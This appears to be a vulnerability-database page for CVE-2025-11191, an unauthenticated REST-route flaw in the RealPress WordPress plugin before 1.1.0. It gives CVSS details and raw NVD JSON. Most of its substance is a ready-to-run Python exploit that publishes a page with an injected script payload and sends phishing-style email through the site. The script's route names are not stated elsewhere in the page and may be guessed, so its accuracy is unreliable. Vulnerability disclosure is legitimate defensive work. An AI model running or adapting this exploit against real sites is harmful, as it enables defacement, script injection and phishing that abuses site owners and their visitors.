Security Vulnerability Report
中文
CVE-2025-11191 CVSS 5.3 MEDIUM

CVE-2025-11191

Published: 2025-10-31 06:15:33
Last Modified: 2026-04-15 00:35:42

Description

The RealPress WordPress plugin before 1.1.0 registers the REST routes without proper permission checks, allowing the creation of pages and sending of emails from the site.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

RealPress WordPress Plugin < 1.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-11191 PoC - RealPress WordPress Plugin Unauthorized REST API Access # Target: WordPress site with RealPress plugin < 1.1.0 TARGET_URL = "http://target-wordpress-site.com" def create_page_via_rest(): """ Exploit: Create a new page without authentication The plugin's REST route lacks proper permission_callback """ endpoint = f"{TARGET_URL}/wp-json/realpress/v1/pages" # Payload to create a new page payload = { "title": "Malicious Page", "content": "<script>alert('XSS Payload')</script>", "status": "publish" } headers = { "Content-Type": "application/json", "X-WP-Nonce": "" # No nonce required due to missing permission check } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code in [200, 201]: print("[+] Page created successfully - VULNERABLE!") return True else: print("[-] Request failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def send_email_via_rest(): """ Exploit: Send emails through the vulnerable REST endpoint Can be used for phishing or spam campaigns """ endpoint = f"{TARGET_URL}/wp-json/realpress/v1/send-email" payload = { "to": "[email protected]", "subject": "Phishing Email", "body": "Click here to win a prize!", "from": "[email protected]" } headers = { "Content-Type": "application/json" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Email Send - Status: {response.status_code}") if response.status_code in [200, 201]: print("[+] Email sent successfully - VULNERABLE!") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 50) print("CVE-2025-11191 RealPress Plugin PoC") print("=" * 50) create_page_via_rest() send_email_via_rest()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11191", "sourceIdentifier": "[email protected]", "published": "2025-10-31T06:15:32.917", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The RealPress WordPress plugin before 1.1.0 registers the REST routes without proper permission checks, allowing the creation of pages and sending of emails from the site."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://wpscan.com/vulnerability/74f19ff2-d5c0-4bd4-83f2-688ea37022b1/", "source": "[email protected]"}]}}